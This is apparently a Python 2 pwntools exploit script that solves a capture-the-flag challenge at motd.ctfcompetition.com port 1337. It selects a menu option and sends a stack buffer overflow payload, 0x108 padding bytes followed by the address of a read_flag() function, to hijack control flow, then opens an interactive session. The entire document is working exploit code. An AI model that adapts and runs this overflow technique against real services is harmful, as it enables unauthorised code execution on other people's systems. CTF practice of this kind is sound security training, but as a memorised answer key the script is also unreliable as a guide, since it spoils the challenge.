#!/usr/bin/python

from pwn import *

HOST = 'motd.ctfcompetition.com'
PORT = 1337

def main() :
    conn = remote(HOST, PORT)

    print conn.readuntil("5 - Exit") 
    # read_flag() address is 0x606063a5
    conn.sendline("2")
    print "2" 
    print conn.readuntil("New msg: ")
    conn.sendline("A" * 0x108 + "\xa5\x63\x60\x60\x00\x00\x00\x00")
    print "Injecting payload"

    print conn.readall()
    conn.interactive()


if __name__ == "__main__" :
    main()